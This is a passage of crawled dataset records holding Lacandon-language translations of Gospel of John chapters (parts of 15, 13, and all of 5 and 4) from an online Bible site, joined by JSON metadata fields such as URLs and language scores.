ich yoc'ocab quire' ten tin tetajechex ich a mac a mʌ' ju yacsob tu yorob in t'ʌn. Rajen cu bin u p'actiquechex a mac ti' yʌnob yoc'ocab. 20 C'aj techex a ba' caj in wa'ara techex: \"A mac a cu beyaj ti' u jer, mʌ' no'j u beyaj. Chen u ts'urir a mac a cu beyaj, raji' jach no'j u beyaj.\" Robob caj u chucob in pach, baxuc techex xan cu bin u chuquicob a pachex. Robob wa tu quibajob in t'ʌn, baxuc techex cu bin u quibicob a t'ʌnex xan. 21 Baxuc tu cotor aro', cu bin u beticob ti' techex quire' mʌ' tu yacsob tu yorob in t'ʌn quire' mʌ' yerob mac tu tuchi'tajen.\n22 'Wa mʌ' taren in tsicbar ti'ob uch, mʌ' chʌca'an yiricob u si'pirob. Quire' taren, rajen mʌ' c'ucha'an yor ya'aricob mʌna' u si'pirob. 23 Chen a mac a cu p'actiquen baxuc cu p'actic in Tet xan. 24 Wa mʌ' tin wesob ti' carem beyaj an ten bic mʌna' mac yiramʌn uch, mʌ' chʌca'an yiricob u si'pirob cax tu yirob a ba' tin betaj caj u p'actajenob yejer in Tet. 25 Chen robob caj u nup'saj tu' ts'iba'an ich u t'ʌn C'uj uch: \"Tu chen p'actajenob quire' baxuc u c'atob u bʌjiri' cu p'acticquenob.\" Baxuc ts'ibta'b ten uch yʌjtseq'uirob u t'ʌn C'uj uch.\n26 'Ca' bin c'uchuc tu q'uinin cu bin tar u Taj'or u Pixam C'uj a mac quin tuchi'tic soc u yamtiquechex. Taj a ba' cu bin yac techex quire' ti' u tar ich u Tet C'uj. Raji' cu bin u tsec'tiquen ―quij Jesús―. 27 Techex xan ca bin a tsec'tiquenex ti'ob quire' techex ti' yʌnechex yejeren caj u yʌnxchun in beyaj hasta baje'rer.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN15.htm","date":"2022-05-28T08:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00530.warc.gz","language":"lac","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000044107437134}","num_words":1042,"character_repetition_ratio":0.079,"word_repetition_ratio":0.01,"special_characters_ratio":0.288,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nJesús cu jawsic a mecho', a mac a characbar tu cuch yacʌr ya'arir, u c'aba' ya'arir Betesda\n1 Pachir caj c'uchij tu q'uinin u qui'qui' janʌn u winiquirob judío. Ra' u q'uinin pascua, ca'ten binob Jesús yejer u camsʌwinicob ich u cajar Jerusalén. 2 Ti' yʌn ich u cajar Jerusalén tu cuch yacʌr ya'arir. Ti' yʌn tu cu yocar yʌrʌc' tʌmʌn yuc ich u jor u pa'te'ir tunich. Tar cu binob ich carem naj a tʌmʌn yuco'. Yʌn u c'aba' tu cu yacʌr ya'arir u c'aba' Betesda. Baxuc cu ya'aric ich u t'ʌn hebreo Betesda. Ti' c'ʌxa'an cinco yatoch tu nʌc' tu cuch u yacʌr ya'arir. Chen yatochob mʌ' pa'te'ta'an. 3 Ti' much'a'anob ya'ab u yajirir yejer ch'op u wich yejer a mac mech yoc yejer a mac a mʌ' ju riq'uir. Rʌc ti' yʌnob ich yatochob tu cuch yacʌr ya'arir characbarob ich ru'um. Quire' tan u pajicob u pecsa'r ya'arir. 4 Mʌ' ja wirej, tar cu yeman yʌjmasir u t'ʌn C'uj tu cuch yacʌr ya'arir. Tenten cu yeman yʌjmasir u t'ʌn C'uj quir u pecsic ya'arir. Caj ts'oc u pecsa' ya'arir, a mac yʌn pʌybej em ich ya'arir caj jawij u yajir cax ba' yajirir. 5 Ti' yʌn turi' u winiquir judío jach uch tu cʌnaj u yajir. Yʌn treinta y ocho yaxq'uin ti'. 6 Jesús caj u yiraj ti' chara'an. Yer uch yajac rajen caj u ya'araj ti':\n―A c'at wa ja jawʌr?\n7 A yajo' caj u nunca tan ya'aric:\n―In Jaj Ts'urir ―quij―, mʌna' mac cu bin u yacsiquen tu cuch u yacʌr ya'arir, cu ts'ocar u pecsa'r ya'arir. Cax in c'at in wocar, u jer cu tar, raji' cu bat'an ocar.\n8 Jesús caj ya'araj ti':\n―Riq'uen cats'e yor xa'an ca' ximbanʌquech.\n9 Seb caj jawij caj u cats'a yor xa'an caj u yʌnxchun u ximbar. Chen ra' u q'uinin cu jesic u bʌj u winiquirob judío caj jawsa'b ten Jesús. 10 Rajen u winiquirob judío caj ya'arob ti' a mac jawsa'b:\n―Ti' toy u q'uinin quir ic jesic ic bʌjex, tech tan a cʌrʌxbetic u t'ʌn Moisés quire' tan a cuchic yor xa'an.\n11 A xibo' caj u nuncaj tan ya'aric ti'ob:\n―A mac a tu jawsajen. Raji' caj u ya'araj ten: \"Cats'ej yor xa'an ca' ximbanʌquech\" ―quij.\n12 Robob caj u c'atob ti':\n―Mac caj u ya'araj tech cats'ej yor xa'an ca' ximbanʌquech?\n13 A jawsa'b u yajirir mʌ' yer mac jawsej quire' seb caj binij Jesús quire' pim winicob caj u much'quintajob u bʌj. 14 Pachir Jesús caj u nup'aj tu jap'nin carem naj. Jesús caj ya'araj ti':\n―Jawech baje'rer. Mʌ' toy jawac a si'pir wa ca p'atʌr ich a si'pir, jach manan ca bin a muc'yaj.\n15 A xibo' caj bin ich u jach ts'urirob sacerdote caj ya'araj ti'ob:\n―A mac a tu jawseni', raji' Jesús.\n16 Quire' Jesús caj u jawsaj a xibo' u q'uinin u jesic u bʌj u winiquirob judío rajen u jach ts'urirob sacerdote cu p'acticob Jesús. U c'atob u quinsicob Jesús. 17 Jesús caj ya'araj ti'ob:\n―In Teto' ti' toy cu beyaj. Baxuc aro' ti' toy quin beyaj xan.\n18 Rajen u jach ts'urirob sacerdote u c'atob u jach quinsicob Jesús. Cu tucricob mʌ' ju cʌnantaj u q'uinin tu cu jesicob u bʌj u winiquirob judío. Bayiri' quire' caj ya'araj: \"Raji' in Tet C'uj.\" Baxuc tu p'eri'quintaj u bʌj yejer C'uj.\nU parar C'uj, raji' ts'a'b u beyaj ten C'uj\n19 Jesús caj ya'araj ti'ob:\n―Taj a ba' quin wac techex, a teno' u pararen C'uj. In bʌjiri' mʌ' c'ucha'an in wor ti' ba'. Quin chen betic a ba' quin wiric u betic in Tet. A ba' cu betic in Tet, baxuc a teno' quin betic quire' u pararen. 20 In Tet cu yajquintiquen quire' u pararen. Cu yesic ten tu cotor ba' cu betic. Techex baje'rer ta wirex chichin a ba' caj in betaj. Je' u cha'ic in betic C'uj jach manan carem in beyaj. Ca' bin ts'ocac in betic, jach manan cu bin jac'ʌr a worex. 21 An ten bic in Tet cu ric'sic a quimeno' soc u ts'ic u cuxtar. Baxuc a teno' quin ts'ic u ca' cuxtar a mac in c'at u ca' cuxtarob. 22 In Teto' mʌ' ju bin u jʌsic a mac yʌn u si'pirob. Chen tu ya'araj ten, quire' u pararen, soc in jʌsic a mac yʌn u si'pirob. 23 Rajen tu cotor mac je' u sʌjtiquen an ten bic cu sʌjticob in Tet. A mac a mʌ' ju sʌjtiquen cax u pararen C'uj, baxuc mʌ' ju sʌjta' in Tet a mac a tu tuchi'tajen.\n24 Jesús caj ya'araj ti'ob:\n―Taj quin wa'aric techex: C'uchij tu q'uinin a mac a cu yubic in t'ʌn a teno' u pararen C'uj, a mac a cu yubic in t'ʌn wa cu yacsic tu yor ti' a mac a tu tuchi'tajen, je' u cuxtar munt q'uin. Mʌ' ju bin ts'abir u muc'yaj. Baxuc mʌ' ju bin satʌr chen cu bin ts'abir u cuxtar ric'ben quir u cuxtar munt q'uin. 25 Taj quin wa'aric techex. C'uchij tu q'uinin a mac a cu yubic in t'ʌn a teno' u pararen C'uj. A techexo' irechex wa quimrechex ʌcʌtan ten. A mac a cu yacsic tu yor in t'ʌn je' u cuxtar munt q'uine'. 26 An ten bic in Tet C'uj yʌn u muc' quir u ts'ic u cuxtar munt q'uin ti' mac. Baxuc caj u ts'aj ten u muc' quir in ts'ic u cuxtar munt q'uin ti' mac, quire' u pararen. 27 Baxuc caj u ts'aj ten u muc' quir in jʌsic mac a yʌn u si'pirob quire' a teno' bajeneno' winic ich yoc'ocab. 28 Mʌ' u jac'ʌrex a worex quire' caj in wa'araj techex aro'. Mʌ' ja wirej, je' u c'uchur tu q'uinin tu cotor mac a quimeno' cu bin u yubic in t'ʌn quire' u pararen C'uj. 29 Tu cotor mac cu bin riq'uir tu mucnaj. A mac a tu betaj tsoy cu bin cuxtar munt q'uin ich ca'anan. A mac a tu betaj c'aso' cu bin ts'abir u muc'yaj quire' ra' u bo'orir u si'pirob.\nA mac a cu ya'arico' taj ti' Jesús\n30 Jesús caj ya'araj:\n―A teno' ―quij―, in bʌjiri' mʌ' c'ucha'an in wor ti' ba'. An ten bic caj u ya'araj in Tet baxuc quin bin in jʌsic a mac a yʌn u si'pirob. Taj quin bin in jʌsic mac. A teno' mʌ' in bin in jʌsej an ten bic in c'at. A teno' quin betic an ten bic u c'at in Tet a tu tuchi'tajen. 31 Quire' techex ca tucriquex in bʌjiri' quin tsicbar tin junan. Rajen ca tus tucriquex mʌ' c'ucha'an a worex a wacsiquex ta worex ten. 32 Yʌn ten mac cu tsicbar ti' ten. Taj a ba' cu tsicbar ti' ten. 33 A techexo' ta tuchi'tajex mac quir u c'ata' ti' Juan a cu yacsic ja' caj u jo'r mac. Taj a ba' tu ya'araj techex Juan ten. 34 Mʌ' ba'wir Juan quir u tsicbar ten. Quin chen aric techex aro' quir in c'asictechex soc c'ucha'an a worex a wacsiquex ta worex. 35 A Juano' irej quib, cu ye'c'ac'tic a berex soc chʌca'an a berex tu ca binex. Cax tabar u q'uinin, Juan caj u camsaj techex soc a werex ten. Qui'ex a worex caj u tsec'taj techex Juan. 36 A Juano', tu chen tsicbʌtajen. Chen in beyaj cu cha'ic C'uj in betic jach carem. Aro' cu yesic techex C'uj tu tuchi'tajen. 37 In Tet C'uj a mac tu tuchi'tajen, raji' cu tsicbʌtic ten. A techexo' mʌ' ja wu'yʌmʌnex chichin u tsicbar, mʌ' ja wiramʌnex bicyʌra' C'uj. 38 Quire' mʌ' ti' yʌn u t'ʌn ta pixamex. Rajen mʌ' ja wacsiquex ta worex ti' ten a mac tu tuchi'tajen C'uj. 39 Mʌ' ja wirej, rajra' ca qui' xaquiquex u t'ʌn C'uj tu ts'iba'an quire' ca tus tucriquex baxuco' ca bin a cuxtarex munt q'uin. Chen u t'ʌn C'uj mʌ' ju ya'aric aro'. Cu tsicbar ti' ten a ts'iba'an u t'ʌn C'uj quir in ts'ic a cuxtarex munt q'uin. 40 Chen a techexo' mʌ' ja c'at a wacsiquex ta wor ti' ten quir in ts'ic a cuxtarex munt q'uin.\n41 'Cax mʌ' a sʌjtiquenex mʌ' jin pʌq'uiquechex. 42 Quire' in werechex, mʌ' ja yajquintiquex C'uj ta pixamex. 43 A techexo' mʌ' a c'at a wacsiquex ta wor ti' ten cax ti' in tar ich in Tet. Chen a mac mʌ' tuchi'ta'b ten in Tet ca sʌjtiquex. 44 Mʌ' c'ucha'an a worex a wacsiquex ta worex quire' ca pachtiquex ca' u tus yirechex a rac'ob jach tsoyechex. Mʌ' ja wirej, mʌ' tan a cʌxtiquex soc chen C'uj cu yiriquechex jach tsoyechex. 45 Mʌ' a chen tucriquex wa chen ten quin bin in ta'quiquex a jo'rex ʌcʌtan ti' in Tet. Quire' ca tus tucriquex a qui' cʌnantiquex tu cotor a ba' ts'ibta'b ich u t'ʌn Moisés. Ta pʌyex a si'pirex quire' mʌ' ta quibex an ten bic caj u ya'araj Moisés uch. 46 Wa ta quibex a ba' caj u ts'ibtaj Moisés baxuc je' a quibiquex in t'ʌn quire' Moisés tu ts'ibtaj ten uch. 47 Quire' wa mʌ' a quibiquex a ba' caj u ts'ibtaj Moisés uch, baxuc xan mʌ' ja bin a quibex a ba' quin wac techex xan ―baxuc caj ya'araj Jesús ti' u jach ts'urirob sacerdote.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN05.htm","date":"2022-05-29T09:06:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00179.warc.gz","language":"lac","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000030994415283}","num_words":1482,"character_repetition_ratio":0.063,"word_repetition_ratio":0.015,"special_characters_ratio":0.29,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nJesús cu tsicbar yejer xquic a ti' cʌja'ano' tu cajar Samaria\n1 Jesús tu najtaj ti' a ba' ara'b ten mac ti' a fariseojo'. U camsʌwinicob Jesús tan u pimtar quire' tan u jach pimtar a mac acsa'b ja' tu jo'rob. Tan u jach osar u camsʌwinicob Juan. Baxuc ara'b ti' a fariseojo' ten mac. 2 Baxuc caj juminta'b ti' Jesús. Chen u bʌjiri' Jesús mʌ' ju yacsaj ja' tu jo'rob mac. Chen u camsʌwinicob raji'ob cu yacsic ja' tu jo'rob mac. 3 Quire' Jesús yer ba' cu ya'aricob a fariseojo' quire' mʌ' u c'atob yiricob u pimtar u yacsicob tu yorob ti' Jesús. Rajen ruq'uij ich u ru'umin Judea soc u wʌc'ʌs bin ich u ru'umin Galilea.\n4 Ra' u berir tu cu bin uch, ti' cu ch'ʌctic u ru'umin u c'aba' Samaria. 5 Ti' c'uchob Jesús yejer u camsʌwinicob ich u cajar Sicar. Ra' u cajar ich u ru'umin Samaria. Aro' jach bʌytʌc ti' u ru'umin a ti' ts'ab ti' José uch ten u tet Jacob. 6 Ti' yʌn yic' ja' ich ru'um chen tam yʌn ya'arir. Raji' u nunquir u winiquirob judío caj u panaj uch, Jacob u c'aba'. Quire' Jesús ca'anij tu cu tar ich bej. Tan u jesic u bʌj bʌytʌc tu yʌn yic' ja'. Bʌytʌc c'ac'chunq'uin. 7 Caj tarij xquic a ti' cʌja'an ich u ru'umin Samaria. Quir u paytic yoch ja' quire' tam. Jesús caj ya'araj ti':\n―Chan chuquej ―quij Jesús―, ten ja' quir in wuq'uic.\n8 Mʌ' ja wirej, u camsʌwinicob Jesús, binob ich u cajar Sicar quir u mʌnicob yo'och. 9 A xquico' a ti' cʌja'an tu ru'umin Samaria caj u ya'araj ti' Jesús:\n―Biquinin ca c'atic ten ja' quire mʌ' u winiquir judíojen? U xquiquiren u ru'umin Samaria.\nBaxuc caj ya'araj a xquico' quire' p'acta'b u winiquirob samaria ten u winiquirob judío. 10 Jesús caj u nuncaj ti', tan ya'aric:\n―Wa ja chen er C'uj u c'at u sijic tech ba', wa ta c'ʌ'otajen a mac a tu ya'araj tech: \"Chan chuquej ten ja' quir in wuq'uic\", a techo' jach jaj ta yʌn bat'an c'ata ten sam ja' ca' in ts'a tech ja' soc raji' quir a cuxtar munt q'uin.\n11 A xquico' caj ya'araj:\n―Jaj Ts'urir ―quij―. A techo' mʌna' quir a paytic ja' quire' tam yic' ya'arir. Bic tabar ca bin a ts'ic ja' ten, a ray ja'o' an ten bic caj a wa'araj ten? 12 Ic nunquir Jacob caj u p'ʌta to'on a je' yic' ja'a'. Quire' u bʌjiri' ti' tu yuc'aj xan uch. Baxuc ti' caj u yuc'ob u pararob xan, baxuc ti' caj u yuc'ob u yʌrʌc'. Jach manan wa no'jech ta beyaj a techo', c'ucha'an waj a wor a ts'ic ten ja' an ten bic ta wa'araj?\n13 Jesús caj u nuncaj, caj ya'araj ti':\n―Tu cotor mac a cu yuq'uic a je' ja'a', je' u ca' uc'chʌjʌre' cax a wuq'uej. 14 A mac a cu yuq'uic ja' a quin ts'ic a ti'o', mʌ' ju bin yʌnyʌn uc'chʌjʌr. Quire' a ja'o' a quin ts'ic ti', cu wayʌr yic' ja' irej u bosirʌncʌr ja' tu pixam soc u cuxtar munt q'uin.\n15 Mʌ' toy u najti', wa tan u tsicbar ti' u cuxtar munt q'uin, rajen a xquico' caj ya'araj:\n―Jaj Ts'urir ―quij―, chan chuquej a je' ja'a' a caj a wa'araj ca' in wuq'uej soc mʌ' in yʌnyʌn uc'chʌjʌr baxuc soc mʌ' in ca' tar in t'uyic in woch ja' yejer sum.\n16 Jesús caj ya'araj ti':\n―Joq'uen pʌyej a mam soc a tar yejer.\n17 A xquico' caj u nuncaj caj u ya'araj:\n―Mʌna' in mam ―quij ya'araj ti' Jesús.\nRajen Jesús caj ya'araj ti':\n―Taj caj a wa'araj ten mʌna' a mam 18 quire' yʌn tech cinco a mam jach jaj uch. Rajra' tan a tuchi'tic ca' xic a mac jach raji' a mam. Rajen a ba' ta wa'araj sam taj quire' mʌ' jach a mami', cax ti' cʌja'anech yejer.\n19 A xquico', caj ts'oc yubic a ba' ara'b ti' ten Jesús, caj ya'araj:\n―Jaj Ts'urir ―quij―, quin wiric irech yʌjtseq'uirech u t'ʌn C'uj. 20 Quire' in nunquirob uch tu c'ujinticob C'uj uch ich a je' u jo'r u witsira'. Chen techex ca wa'ariquex ca' xiquenob ich u cajar Jerusalén quir in c'ujinticob C'uj.\n21 Jesús caj ya'araj:\n―Quibej a ba' quin wa'aric tech, xquic. Ca' bin c'uchuc tu q'uinin, mʌ' ju bin ya'aricob ca' in c'ujintejob C'uj ich a je' jo'r witsira'. Mʌ' ju bin u ya'aricob: \"Ca' ij c'ujintej C'uj ich u cajar Jerusalén.\" 22 A techexo' u winiquirechex samaria mʌ' a werex C'uj, a mac a ca c'ujintiquex. Chen u winiquirob judío yerob in Tet C'ujob, a mac in c'ujinticob quire' ara'b ti'ob ten C'uj: \"Bin in ca' in tar quir in taquicob quire' p'eri'en yejer u winiquirob judío.\" 23 Baje'rer c'uchij tu q'uinin tu cotor mac a cu qui' acsic tu yorob, taj cu bin u c'ujinticob ic Tet C'uj tu pixam. Quire' baxuc u c'at ic Tet C'uj, taj ca' u c'ujintejob ten mac tu pixamob. 24 Ic Tet C'uj mʌ' c'ucha'an a worex a wiric quire' mʌna' u winquirir. Rajen mʌ' ja wirej. Baxuco' mʌ' c'ucha'an a wor a wiric a mac a taj cu c'ujintic C'uj tu pixam. Quire' tu pixamob taj cu c'ujinticob C'uj. Baxuc C'uj u c'at taj ca' ij c'ujintej ―baxuc caj u ya'araj Jesús.\n25 A xquico' caj ya'araj:\n―In wer mac cu bin tar cu ya'ara' Mesías ―raji' u c'at ya'aric Cristo cu bin ts'abir u beyaj ten C'uj quir u taquic mac tu cotor ca' bin tac―. Raji' cu bin u camsico'on tu cotor ba'.\n26 Jesús caj ya'araj ti':\n―Raji'en a tan in tsicbar yejerech.\n27 Ra'iri' u q'uinin caj urob u camsʌwinicob tu bin u mʌnejob yo'och. Caj jac'ob yorob caj yirob Jesús tan u tsicbar yejer xquic. Mʌ' ja wirej, a mac a cu camsic u t'ʌn C'uj mʌ' ju tsicbar yejer xquic ich tan bej, baxuc na'nij cu betic u winiquirob judío. U camsʌwinicob surac u c'atob: \"Biquinin ca tsicbar yejer xquic baxuc aro'?\" 28 Rajen a xquico' caj u p'ʌta u p'urir yoch ja' tu chi' u jorir ya'arir caj bin ich u cajar Sicar. Caj c'uchij caj ya'araj ti' u rac'ob:\n29 ―Cojenex ―quij―, ca' a wirex a mac a tu ya'araj tu cotor ba' a tin betaj. Jaj ix tʌco wa raji' ti' Cristo a cu bin tuchi'bir ten C'uj.\n30 Rajen seb caj tarob ich Jesús caj joc'ob tu cajar. 31 Caj bin a xquico' ca'ch, u camsʌwinicob tan u chich a'aricob ti' Jesús:\n―In wʌjcamsʌyʌjirech chan janen.\n32 Jesús caj u nunca tan ya'aric ti'ob:\n―Yʌn ten quir in janʌn. A ba' yʌn ten mʌ' a werex wa yʌn ten.\n33 U camsʌwinicob caj pacran tsicbanʌjob tan ya'aricob:\n―Yʌn wa mac tar u puric yo'och quir u janʌn?\n34 Jesús caj ya'araj ti' u camsʌwinicob:\n―Ra' in woch a teno' ca' in betej a ba' u c'at C'uj quire' raji' tu tuchi'tajen. Ca' in ts'ocsej a tu ts'aj in beyaj.\n35 Jesús caj ya'araj ti' u camsʌwinicob:\n―Baxuc ca waquex tech yʌn cuatro ic nʌ' quir ic wʌtic ij co'och trigo. U'yex ba' quin wac techex. Pʌctex a wirex a ra' cu tar winiquirob tub yʌno'on. Raji'ob irob trigo a cu tijire' ich cor quir u wʌtic. 36 Jeroj c'uchij tu q'uinin a yamtic mac u yacsic tu yor ten. Irechex a mac tan a wʌtiquex trigo ich cor a tiquino'. A mac a cu yamtic mac ca' u yacsej tu yor, irob a mac a cu maric yoch trigo a tiquine'. Je' u qui' acsa'rob ten C'uj. A mun cu bin yambir ca' u yacsej tu yor cu bin cuxtar munt q'uin. Rajen p'eri' qui' yorob a mac a cu ts'abʌr ti' u t'ʌn C'uj tu pixam mac yejer a mac a cu yamtic ca' u yacsej tu yor. 37 Quire' taj a cu ya'aric mac: \"Turiri' yʌjpʌq'uir turiri' yʌjwʌtir.\" 38 A teno' caj in ts'aj a beyajex techex quir a mariquex a mac a tu yacsaj tu yor ten. Quin tuchi'tiquechex tub mʌ' beyajnʌja'anechex. Mʌ' ja wirej, u jer mac tu pʌc'aj u t'ʌn C'uj tu pixamob. Quire' ra' a beyaj a techexo' quir a qui' camsic ti'ob ti' u t'ʌn C'uj soc u qui' acsicob tu yorob.\n39 Ya'ab u winiquirob samaria a cʌja'anob ich u cajar Sicar tu yacsob tu yorob ti' Jesús quire' a ba' tu tsicbʌtaj a xquico' ti'ob quire' tu yubob ya'aric: \"Raji' tu ya'araj ten tu cotor ba' caj in betaj uch.\" 40 Caj tarob u winiquirob samaria ich Jesús. Caj u chich arob ca' p'atʌc yejerob. Ti' p'atij Jesús ca'tur u q'uinin. 41 Ya'ab u winiquirob samaria caj u yacsajob tu yorob a ba' caj u yubob ya'aric Jesús xan. 42 Rajen ya'ab u winiquirob samaria caj u ya'arajob ti' a xquico':\n―Baje'rer tij cacsaj tij cor, mʌ' chen tij cu'yaj a wa'aric. Quire' tij cu'yaj u t'ʌn Jesús, rajen ij quer raji' Cristo a tar u taquic tu cotor mac ich yoc'ocab.\nJesús cu jawsic u parar a mac a cu beyajo' ti' rey\n43 Caj ts'oc u man ca'tur u q'uinin. Caj ruc' Jesús ich u ru'umin Samaria quir u bin ich u ru'umin Galilea. 44 Caj binob ich u ru'umin Galilea quire' yerob mʌna' mac cu bin u p'actic Jesús ca'ch quire' mʌ' sʌjta'b ten u rac'ob. Quire' Jesús caj u ya'araj: \"A mac a cu tsec'tic u t'ʌn C'uj mʌ' u bin sʌjta'bir tu ch'ijir.\" 45 Caj c'uchij Jesús ich u ru'umin Galilea, mac ti' cʌja'anob qui' yorob yiricob Jesús. Mʌ' ja wirej, tu yirob tu cotor a ba' caj u betaj Jesús u q'uinin pascua ich u cajar Jerusalén quire' binob xan.\n46 Jesús caj wʌc'ʌs bin ich u cajar Caná ra' u wa'an u ru'umin Galilea tu' tu waysaj ja' u c'ab uva. Ti' yʌn mac a cu tar ti' u cajar Capernaum. Raji' cu beyaj ti' rey. Raji' u parar yaj. 47 A cu beyaj ti' rey caj yuba ya'aric c'uchij Jesús tar u tar ich u ru'umin Judea baje'rer c'uchij ich u ru'umin Galilea. Caj bin yirej quir u chich pʌyic ca' xic ich yatoch quir u jawsa' u parar quire' tabar u quimin. 48 Caj c'uchij ich Jesús caj ara'b ti' ten Jesús:\n―A techexo' mʌ' ja quibiquex cax jach manan in muc' hasta ca wiriquex carem in beyaj.\n49 Chen a mac a cu beyaj ti' rey caj ya'araj ti' Jesús:\n―In Jaj Ts'urir ―quij―, sepquintej a tar, mʌ' toy quimic in parar.\n50 Jesús caj ya'araj ti':\n―Ca' xiquech ta watoch je' u jawʌr a parar.\nA xibo' tu quibaj u t'ʌn a ba' ara'b ti' ten Jesús. Caj wʌc'ʌs sutnʌj tu yatoch 51 Tabar u c'uchur tu yatoch caj bin nupbir ten u c'urew ich bej. Tar u tar ich yatoch caj ara'b ti':\n―A parar jawij.\n52 A xibo' caj u c'ataj ti' u c'urew:\n―Tu' q'uin caj jawij?\nU c'urew caj ya'araj:\n―Jo'raj c'ʌs sarpʌj u q'uinin caj jawij u chʌcwirir u jo'r.\n53 U tet u parar caj u c'ʌ'otaj ra'iri' u q'uinin caj ara'b ti' ten Jesús jo'raj: \"Je' u jawʌr a parare'\"; rajen a xibo' yejer tu cotor mac ti' yʌn tu yatoch caj u yacsob tu yorob ti' Jesús.\n54 A jera' u carem beyaj tu ca' esaj Jesús soc yesic yʌn u muc' C'uj. Raji' tu betaj caj urij ich u ru'umin Judea caj c'uchij ich u ru'umin Galilea.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN04.htm","date":"2022-05-28T08:00:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00658.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":1843,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nJesús cu p'o'ic u yoc u camsʌwinicob\n1 Tabar u c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío u q'uinin pascua. Jesús yer c'uchij tu q'uinin ti' cu wʌc'ʌs bin ich u Tet ca'anan. Jesús caj u yajquintaj a mac ts'a'b ti' ten u Tet C'uj. Jach manan caj u yajquintaj a ts'a'b ten u Tet. 2-4 A quisino' toc aca'an ti' Judas Iscariote. U tet Judas, Simón u c'aba'. Rajen u c'at u c'ubic Jesús soc u chucur. Jesús yer ts'a'b ti' u beyaj ten u Tet C'uj quir u cʌnantic tu cotor ba'. An ten bic caj tuchi'ta'b ich yoc'ocab yer xan je' u ca' bin ich ca'anan ich u Tet C'uj. Ti' toy cu janʌnob oq'uin tu q'uinin pascua. Cax Jesús tarij ich C'uj caj riq'uij caj u pitaj u ca' yarir u noc' caj u ch'aj u noc' tu cu tisic ba' caj u wit'c'ʌxtaj tu nʌc', irej c'urew a nanij cu p'o'ic yoc a mac acsa'b ich naj. 5 Jesús caj u pe'aj ya'arir ich palancan quir u p'o'ic yocob u camsʌwinicob a cura'anob tu janʌnob. Caj u tisaj u yocob yejer a noc'o' a tu wit'c'ʌxtaj tu nʌc'.\n6 Jesús caj c'uchij ich Simón Pedro quir u p'o'ic u yocob caj ya'araj:\n―Jaj Ts'urir, mʌ' jin najtic. Biquinin ca p'o'ic in woc? ―quij.\n7 Jesús caj u nuncaj ti', tan ya'aric:\n―A ba' quin betic baje'rer mʌ' ja najtic chen pachir ca bin a najtic.\n8 Pedro caj ya'araj:\n―Mʌ' in cha'ic a p'o'ic in woc, mʌ' biq'uin.\nJesús caj u nuncaj ti', tan ya'aric:\n―Wa mʌ' jin p'o'ic a woc, mʌ' ten yʌninechi'.\n9 Simón Pedro caj ya'araj:\n―Jaj Ts'urir, quen, mʌ' chen in woc ca p'o'ic, p'o'ej in c'ʌb xan yejer in jo'r.\n10 Jesús caj ya'araj ti':\n―A mac ts'oc u yichir mʌ' ba'wir cu p'obar tu cotor chen u yoc cu p'obar chen ti' u yoc. Baxuco' toc p'o'a'anechex. Mʌ' ja wirej, toc ruc'sa'an a si'pirex chen ti' yʌn turiri' tu yʌnechex mʌ' ruc'sa'an u si'piri'.\n11 Quire' Jesús yer Judas cu bin c'ubic, rajen tu ya'araj: \"Turiri' tu' yʌnechex mʌ' ruc'sa'an u si'piri'.\"\n12 Caj ts'oc u p'o'ic yoc u camsʌwinic, Jesús tu ca' buquintaj u ca'yarir u noc'. Caj wʌc'ʌs cura tu po'che'ir u janʌn caj u c'ataj ti'ob:\n―A wer wa biquinin caj in p'o'aj a woquex? 13 Quire' techex ca t'ʌniquenex in wʌjcamsayʌjirechex, baxuc ca t'ʌniquenex Jaj Ts'urir. Tsoy ca t'ʌniquenex quire' taj ten tin camsiquechex quire' taj a Jaj Ts'urirenex xan. 14 A teno' a Jaj Ts'urirenex, baxuc a yʌjcamsʌyʌjirenechex tan in p'o'ic a woquex. Baxuc techex soc mʌ' a tucriquex jach no'jechex, ca' a yamtex a wet acsa'orirex. 15 A techexo' ta wirex ba' tin betaj, baxuc techex, rajra' ca' a betex, an ten bic ten tin betaj. 16 Taj a ba' quin wa'aric techex, mʌ' tsoy wa ju c'urew cu tucric jach neno'j u beyaj ―quij Jesús―, rajen mʌ' u bin u betic an ten bic u jach ts'urir. Mʌ' tsoy wa mac tuchi'ta'b cu tucric jach neno'j u beyaj. Rajen bin u betic an ten bic a mac tuchi'tej. 17 Wa ca najtiquex a je' quin camsiquechex ca bin a cʌniquenex. Rajen cu bin u qui' tar a worex.\n18 'Mʌ' tan in tsicbar ti' tu cotorechex. In wer mac tin tetajechex quir in camsiquechex. Chen ti' yʌn turiri' ich techex a mac tin tetaj, aro' mʌ' quir u yamtiquen. A teno' tin chen tetaj quir in nup'sic a ba' ts'iba'an ich u t'ʌn C'uj tu cu ya'aric ich u t'ʌn C'uj uch: \"A mac p'eri' in janʌn yejeren a mac in wet man. Raji' cu bin u c'ubiquen.\" Ra' cu tsicbar ti' ten. 19 Mʌ' toy c'uchuc tu q'uinin u c'ubiqueni' quin toc aric techex soc a najtiquex soc ca' bin jach c'uchuc tu q'uinin u c'ubiquen ca' bin a qui' 